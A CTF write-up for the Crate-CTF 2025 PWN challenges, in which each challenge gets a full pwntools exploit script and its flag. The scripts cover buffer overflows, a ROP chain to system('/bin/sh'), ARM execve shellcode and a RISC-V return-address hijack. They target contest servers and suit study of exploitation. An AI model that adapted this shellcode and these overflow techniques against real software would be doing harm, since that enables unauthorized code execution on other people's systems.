- Published on
Crate-CTF 2025 - PWN challenges
Introduction

Kan man verkligen ändra sig?
Writeup author: kerszi

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc challs.crate.nu 21571"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
payload = b"A" * 8 # buffer
payload += b"\x01\x00\x00\x00" # changeme != 0xAAAAAAAA
p.sendline(payload)
p.interactive()
cratectf{this_is_why_we_need_buffer_overflow_protections}
Kan man verkligen ändra sig? 2

Writeup author: kerszi
This task was just as simple as the first one. ChatGPT solved it quickly.
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc challs.crate.nu 21572"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
payload = b"A"*8 # buffer
payload += p32(0x12345678) # little endian: 78 56 34 12
p.sendline(payload)
p.interactive()
cratectf{surely_this_cannot_be_used_to_execute_code?_right?}
Datum-tjänst

Writeup author: kerszi
This task finally required some thinking ;) ChatGPT couldn’t handle it (hooray, finally). The Swedish locale was also an obstacle, because locally my first exploit worked. But I then approached it a bit differently and it worked for me remotely… The solution seems simple, but try to solve it without the solution.
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc challs.crate.nu 47192"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./main"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
bin_sh=next(binary.search(b'/bin/sh'))
bin_sh=0x49c5a5
rop=ROP(binary)
pop_rdi=rop.find_gadget(["pop rdi","ret"])[0]
syscall=rop.find_gadget(["syscall"])[0]
system=0x0000000000402fec #main <+199>: call 0x406ad0 <system>
ropy = flat(
pop_rdi,
bin_sh,
system
)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
payload=b'1'+b'\x00'+14*b'1'+ropy
p.sendlineafter(b'mna',payload)
p.interactive()
cratectf{snyggt_skal_där}
Armsdealer

Writeup author: kerszi
This challenge, as the name suggests, involved ARM processors including 32-bit ones. I didn’t have much experience with this hardware, even though I set up a Raspberry Pi with Ubuntu. With the help of ChatGPT, I finally solved the task. Its assistance was useful, but you still need to know what to ask for.
from pwn import *
context.log_level = 'warning'
HOST = "challs.crate.nu"
PORT = 47202
shellcode = (
b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
b"\x78\x46\x0e\x30\x01\x90\x49\x1a"
b"\x92\x1a\x08\x27\xc2\x51\x03\x37"
b"\x01\xdf\x2f\x62\x69\x6e\x2f\x2f"
b"\x73\x68"
)
gadget_bx_r3 = 0x00010100 # 'bx r3'
# [0..63] -> shellcode (dopchany do 64 bajtów)
# [64..67] -> fake FP
# [68..71] -> LR = gadget 'bx r3'
payload = shellcode.ljust(64, b'A')
payload += b'BBBB'
payload += p32(gadget_bx_r3)
p = remote(HOST, PORT)
p.sendline(payload)
p.interactive()
cratectf{shellkod_i_mitt_program!?_skulle_aldrig_tillåtas}
Riscy Business 2

Writeup author: Grzechu
As the name suggests, the program targets RISC-V processors. I didn’t have much hands-on experience with them, but everything is similar enough that you can manage even unfamiliar CPUs. I struggled with this task for a long time, ran gdb-multiarch and tried all sorts of tricks, but couldn’t make it work. This challenge was solved by Chat-Grzesiek ;)
from pwn import *
# Konfiguracja pwntools
context.arch = "riscv64"
context.endian = "little"
context.log_level = "info"
# Ścieżka do lokalnej binarki (jak chcesz testować z qemu)
BIN_PATH = "./riscy_business2"
# Stałe z analizy
OFFSET_RA = 264
GADGET_POP_S0_S1_S2_RA = 0x2e026 # epilog _dl_allocate_tls_storage
WIN_ENV_BLOCK = 0x106ae # środek win: auipc a0,... (getenv("FLAG") itd.)
VAL_S0 = 123
VAL_S1 = 321
VAL_S2 = 2
HOST = "challs.crate.nu"
PORT = 40002
def build_payload():
"""
Buduje finalny payload:
[pad 264 bajty] +
[overwrite RA -> gadget] +
[na nowym sp (sp+272):
0x00: s2 = 2
0x08: s1 = 321
0x10: s0 = 123
0x18: ra = WIN_ENV_BLOCK
]
"""
padding = b"A" * OFFSET_RA
# Nadpisany ra w main → nasz gadżet
frame_ra = p64(GADGET_POP_S0_S1_S2_RA)
# Dane, które gadżet odczyta spod nowego sp
# sp_new = sp_old + 272, a gadżet:
# ld s2,0(sp)
# ld s1,8(sp)
# ld s0,16(sp)
# ld ra,24(sp)
rop_tail = p64(VAL_S2) # [sp+0] -> s2
rop_tail += p64(VAL_S1) # [sp+8] -> s1
rop_tail += p64(VAL_S0) # [sp+16] -> s0
rop_tail += p64(WIN_ENV_BLOCK) # [sp+24] -> ra (wejście w win)
payload = padding + frame_ra + rop_tail
return payload
def exploit_remote():
io = remote(HOST, PORT)
# Oczekiwany prompt: "Hello again, what's your name?\n> "
line = io.recvuntil(b"> ", drop=False)
log.info(f"Banner/prompt: {line.strip()}")
payload = build_payload()
log.info(f"Payload length = {len(payload)} bytes")
# scanf("%s", buf) – trzeba zakończyć whitespace, więc dodajemy '\n'
io.sendline(payload)
# Przechodzimy w tryb interaktywny – powinna się wypisać flaga z win()
io.interactive()
def exploit_local():
"""
Opcjonalny helper do testów lokalnych z qemu-riscv64.
Uruchom:
qemu-riscv64 ./riscy_business2
lub
process(["qemu-riscv64", BIN_PATH])
"""
io = process(["qemu-riscv64", BIN_PATH])
line = io.recvuntil(b"> ", drop=False)
log.info(f"Local prompt: {line.strip()}")
payload = build_payload()
log.info(f"Payload length = {len(payload)} bytes")
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
# Domyślnie atakujemy zdalnie; jak chcesz lokalnie, odkomentuj exploit_local()
exploit_remote()
# exploit_local()
cratectf{ojojoj_funktionsepiloger_är_ju_sig_lika}
Bonus
Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/2025/Crate-CTF/pwn
